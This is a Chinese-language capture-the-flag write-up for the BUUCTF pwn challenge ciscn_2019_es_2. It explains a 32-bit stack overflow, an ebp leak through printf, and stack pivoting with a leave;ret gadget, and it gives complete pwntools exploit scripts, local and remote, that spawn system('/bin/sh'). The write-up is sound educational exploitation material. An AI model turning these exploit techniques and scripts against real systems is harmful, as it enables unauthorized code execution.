巧借东风:32位栈迁移破解ciscn_2019_es_2的空间困局
BUUCTF-ciscn_2019_es_2
一、题目来源
BUUCTF-Pwn-ciscn_2019_es_2
二、信息搜集
将题目给的二进制文件丢入Linux虚拟机中
通过file命令查看文件信息
通过checksec命令查看文件包含措施
三、反汇编文件开始分析
1、代码基本逻辑分析
将题目给的二进制文件丢入32位Ida中进行反汇编
首先看到main函数,下面为它的汇编代码:
.text:080485FF ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080485FF public main
.text:080485FF main proc near ; DATA XREF: _start+17↑o
.text:080485FF
.text:080485FF var_4 = dword ptr -4
.text:080485FF argc = dword ptr 8
.text:080485FF argv = dword ptr 0Ch
.text:080485FF envp = dword ptr 10h
.text:080485FF
.text:080485FF ; __unwind {
.text:080485FF lea ecx, [esp+4]
.text:08048603 and esp, 0FFFFFFF0h
.text:08048606 push dword ptr [ecx-4]
.text:08048609 push ebp
.text:0804860A mov ebp, esp
.text:0804860C push ecx
.text:0804860D sub esp, 4
.text:08048610 call init
.text:08048615 sub esp, 0Ch
.text:08048618 push offset s ; "Welcome, my friend. What's your name?"
.text:0804861D call _puts
.text:08048622 add esp, 10h
.text:08048625 call vul
.text:0804862A mov eax, 0
.text:0804862F mov ecx, [ebp+var_4]
.text:08048632 leave
.text:08048633 lea esp, [ecx-4]
.text:08048636 retn
.text:08048636 ; } // starts at 80485FF
.text:08048636 main endp
没什么特别的,但他调用了一个vul函数,跟进查看,下面是vul函数中的代码:
.text:08048595 public vul
.text:08048595 vul proc near ; CODE XREF: main+26↓p
.text:08048595
.text:08048595 s = byte ptr -28h
.text:08048595
.text:08048595 ; __unwind {
.text:08048595 push ebp
.text:08048596 mov ebp, esp
.text:08048598 sub esp, 28h
.text:0804859B sub esp, 4
.text:0804859E push 20h ; n
.text:080485A0 push 0 ; c
.text:080485A2 lea eax, [ebp+s]
.text:080485A5 push eax ; s
.text:080485A6 call _memset
.text:080485AB add esp, 10h
.text:080485AE sub esp, 4
.text:080485B1 push 30h ; nbytes
.text:080485B3 lea eax, [ebp+s]
.text:080485B6 push eax ; buf
.text:080485B7 push 0 ; fd
.text:080485B9 call _read
.text:080485BE add esp, 10h
.text:080485C1 sub esp, 8
.text:080485C4 lea eax, [ebp+s]
.text:080485C7 push eax
.text:080485C8 push offset format ; "Hello, %s\n"
.text:080485CD call _printf
.text:080485D2 add esp, 10h
.text:080485D5 sub esp, 4
.text:080485D8 push 30h ; nbytes
.text:080485DA lea eax, [ebp+s]
.text:080485DD push eax ; buf
.text:080485DE push 0 ; fd
.text:080485E0 call _read
.text:080485E5 add esp, 10h
.text:080485E8 sub esp, 8
.text:080485EB lea eax, [ebp+s]
.text:080485EE push eax
.text:080485EF push offset format ; "Hello, %s\n"
.text:080485F4 call _printf
.text:080485F9 add esp, 10h
.text:080485FC nop
.text:080485FD leave
.text:080485FE retn
.text:080485FE ; } // starts at 8048595
.text:080485FE vul endp
我们可以看到,该函数中调用了两个read,且简单分析之后,会发现这两个read都可能造成栈溢出
能造成栈溢出的原因很简单,read函数通过其参数nbytes能限制读取用户输入的长度
其在函数中的具体限制大小为0x30即48B
但是,内存中存储用户输入的位置在[ebp+s]即[ebp-0x28]的位置
也就是说用户只需要输入48B的数据就可以覆盖“返回地址”部分
但是这里的栈溢出和以往的都不一样,我们可以发现我们虽然能覆盖返回地址,但是无法构造更长的ROP链,导致很多的利用手段都不能很好的实施
2、栈迁移
有了上面的问题,我们就很容易想到对应的解决方案就是栈迁移,在利用之前,我们需要先知道什么是栈迁移
(1)什么是栈迁移?
栈迁移(Stack Pivot)是一种通过修改程序的栈指针(esp/rsp)来将栈“移动”到一个新的内存区域的技术
目的:绕过可控栈空间的限制,继续执行更复杂的ROP链
常用于:当前栈帧空间小无法容纳完整攻击链
(2)“上下文”与gadget的配合
之前的栈溢出用到的都是“返回地址”部分,在栈迁移当中还会涉及到“上下文”的部分
在调用一个函数之前,需要完成“压入返回地址”、“压入上下文”的操作
返回地址是为了函数调用结束之后可以返回到原函数中继续执行后面的部分
上下文存储的是之前函数的栈帧信息,比如之前函数ebp的值等
我们可以将“上下文”部分设置成我们栈迁移的目的地址
然后将“返回地址”部分设置成下述gadget(通常来说,也可以找功能类似的)
leave
ret
leave指令等价于以下代码:
mov esp, ebp pop ebp
那么程序的ebp和esp都受到了我们的调控,而栈帧的确定就是通过这两个寄存器来的,因此能实现栈迁移
3、迁移目的地的选择
上面我们了解了栈迁移的知识点,很明显接下来我们要做的就是选择我们迁移的目的地
该目的地址是我们确切知道的地址,什么叫确切知道呢?
首先,我们知道在文件保护中有两个措施会影响地址的判断,分别是ASLR、PIE
ASLR(操作系统默认开启,做Pwn题目的时候默认当他开着就行)会随机化的地址
区域 | 是否随机化 | 说明 |
---|---|---|
栈(Stack) | ✅ 是 | 栈顶地址随机变化 |
堆(Heap) | ✅ 是 | malloc地址变化 |
libc.so(共享库) | ✅ 是 | 共享库加载基址随机 |
mmap区域 | ✅ 是 | 映射区地址随机 |
可执行程序本体(代码段) | 仅在启用PIE时才随机 | 否则是固定地址 |
PIE(可以通过checksec命令查看,通过之前的分析本题没有开启)会随机化的地址
区域 | 是否受 PIE 影响 | 说明 |
---|---|---|
.text 段 | ✅ 会随机化 | 存放程序的指令 |
.data 段 | ✅ 会随机化 | 存放初始化的全局变量 |
.bss 段 | ✅ 会随机化 | 存放未初始化的全局/静态变量 |
.rodata 段 | ✅ 会随机化 | 只读数据段,如字符串常量等 |
GOT / PLT 表 | ✅ 会随机化 | 随.text 和.data 随动 |
栈(Stack) | ❌ 不由PIE控制 | 由ASLR控制,单独随机化 |
堆(Heap) | ❌ 不由PIE 控制 | 由ASLR控制,单独随机化 |
libc / ld.so | ❌ 不由PIE控制 | 由ASLR控制,动态库的加载地址是独立的 |
除了文件保护措施,还要知道我们是否可以有方法写入该地址
因此,我们选择地址就有两个要求:
-
该地址能被我们写入(无论是自己构造调用函数,还是用程序本身的逻辑)
-
该地址我们确切知道,即要么不受保护措施的影响,要么该地址可被我们泄露出来
好,具体问题具体分析,本题保护措施有ASLR,能写入内存的方法有vul函数中的read函数,写入的位置为[ebp+s]
ebp指向的是栈中的地址,由于ASLR的原因是随机化的,因此我们需要判断能否泄露ebp的值
我们看到关键代码:
.text:080485AB add esp, 10h
.text:080485AE sub esp, 4
.text:080485B1 push 30h ; nbytes
.text:080485B3 lea eax, [ebp+s]
.text:080485B6 push eax ; buf
.text:080485B7 push 0 ; fd
.text:080485B9 call _read
.text:080485BE add esp, 10h
.text:080485C1 sub esp, 8
.text:080485C4 lea eax, [ebp+s]
.text:080485C7 push eax
.text:080485C8 push offset format ; "Hello, %s\n"
.text:080485CD call _printf
程序会先读取用户的输入最大长度为0x30即48B,然后通过printf函数将我们的内容输出
但是我们注意到,printf函数使用的结构化字符串为“%s”他的特点是不限制字符串的长度直到读到\x00(C语言的结束符)为止
那我们注意到,我们最大的输入信息为48B,刚好可以覆盖到“返回地址”和“上下文(ebp所在为止)”,那也就是说,我们只需要构造payload(不带\x00)然后不要覆盖到“上下文”部分,就可以通过printf函数顺利泄露ebp的值
而且我们可以发现,vul函数给了我们两次栈溢出的机会(两个read),我们就可以拿一个来泄露地址,一个来构造ROP
四、Poc构造
1、完整Poc
通过上面的分析,我们就可以构造出对应的Poc,先看Poc的完整代码:
from pwn import*
p=process('./ciscn_2019_es_2')
system=0x8048400
leave_ret = 0x080484b8
fake_ret = 0x080485FF
payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))
payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()
2、泄露地址部分
先来看到泄露地址的部分:
payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))
我们上面分析的时候说过,通过第一个read去泄露ebp的信息
我们构造的payload需要满足的条件如下:
-
不能覆盖到“上下文”、“返回地址”
-
不能有"\x00"结束符
因此上述代码干的事情就是
-
构造payload
-
发送payload
-
接受泄露地址
至于要怎么判断接受多少信息后才是泄露出来的信息,我们可以通过构造多个输出信息来锁定我们的目标,锁定目标后再进行精确提取
3、关键问题思考
现在思考一个非常非常关键的问题:我们泄露出来的ebp的信息究竟是什么?
准确来说是main函数即调用vul函数的函数的栈帧基址信息
但是我们需要的是vul的栈帧的基址信息,所以我们还需要额外的一个步骤,就是分析出vul的栈帧的基址和main函数基址之间的差值
这个不难,我们可以通过动态调试(工具:gdb)轻松得到两者的差值
我们先进入动态调试界面,将断点设置成“0x08048625”即main函数调用vul之前,然后run运行
我们的目的是得到main函数的栈帧基址信息,所以只要在main函数之内选个地址即可,但是注意要选择在ebp初始化完成之后的地址
啥是初始化ebp?
函数被调用的时候,刚开始的几段代码就是用于初始化ebp的即会完成压入“上下文”并设置栈帧基址的操作
通过指令“info registers”查看寄存器信息
此时看到的ebp就是main函数的ebp,记录下来:0xffffd198
接下来通过同样的方法,将断点设置在vul函数内(要在ebp完成初始化之后),我这选择0x0804859B
我们此时看到的ebp就是vul函数栈帧基址信息,即0xffffd188
他们之间的差值为0xffffd198-0xffffd188,即0x10
所以,我们read写入的内存位置为[ebp-0x28],即[泄露的ebp-0x38]
4、利用第二个read构造system函数
payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()
我们接下来就是要调用system("/bin/sh")函数,即构造函数调用栈
通过ida的“shitf+f12”可以打开字符串窗口,观察后发现程序中并没有“/bin/sh”的身影,我们有两个方法:
-
先写入到内存,然后指定写入位置
-
完成libc库基址的泄露,然后通过偏移量(根据具体版本)找到“/bin/sh”所在位置
写入内存有着ASLR保护机制的限制,但是我们已经泄露了栈中的地址,即已经排除了ASLR的干扰,所以方法一是首选
为什么我们不选择方法二?
(1)程序中有system函数,且我们已经泄露地址,写入"/bin/sh"后很方便得到他的地址
(2)ROP链可能过长,即使栈迁移还是不够
我们接下来讲讲payload这么构造的原因,结合栈结构来进行分析:
函数调用栈不会构造的看过来
在汇编代码中,我们调用函数,比如system("/bin/sh"),其对应的代码大致如下(伪代码,32位计算机):
push 参数 call system
也就是说调用之前会先将参数压栈,压入后使用call指令,call指令会自动完成“压入返回地址”的操作,再开始system即被调函数的逻辑
所以栈中的结构如下:
栈底(高地址) 参数 返回地址 system 栈顶(低地址)
而我们输入的信息会从低地址写向高地址,所以构造函数调用栈的payload应该是这样的顺序:
payload = padding(溢出数据) + system + fake_ret(返回地址) + 参数
一边走逻辑一边分析(注意和我上面列出来的图结合来看)
当vul函数执行完毕,需要执行到代码:
.text:080485FD leave
.text:080485FE retn
也就是说,此时esp会指向ebp,即我们的上下文处
然后出栈,将出栈的信息存入ebp中,也就是ebp指向了我们构造的地址即leak_ebp-0x38
为什么不是减0x28?
好好理解“关键问题思考”部分,这里不再赘述
另外,Poc中leak_ebp-0x28、leak_ebp-0x38这部分看不懂的都可以看“关键问题思考”部分
出栈会将esp+4B,也就是esp指向了“返回地址”处
那么接下来ret指令,就会弹出栈顶元素,并把其中的内容作为地址,然后前往该地址去运行
该“返回地址”是我们精心挑选的gadget,也就是“leave ; ret”
该gadget可以通过ROPgadget找到
使用下述命令:
那么接着运行leave指令,此时也就是将esp也指到了我们构造的位置leak_ebp-0x38
然后ebp就会被指向莫名奇妙的位置(因为leak_ebp-0x38中写入的信息是b'A'*40),但是接下来用到的都是esp和ebp的关系已经不大了
然后ret指令正式开始我们的ROP链,也就是构造我们的system('/bin/sh')
这一部分就不再赘述了(不会的翻看上面,有详细介绍)
额外提醒:
我们写入“/bin/sh”的时候,一定要记得加上结束符号“\x00”否则可能导致取的信息错误
5、测试Poc
运行本地Poc
成功拿下本地shell
远程Poc构造:
from pwn import*
p=remote("node5.buuoj.cn",29238)
system=0x8048400
leave_ret = 0x080484b8
fake_ret = 0x080485FF
payload = b'A'*39 + b'B'
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b"B")
leak_ebp = u32(p.recv(4))
print(hex(leak_ebp))
payload=b'a'*4+p32(system)+p32(fake_ret)+p32(leak_ebp-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(leak_ebp-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()
运行
成功拿下flag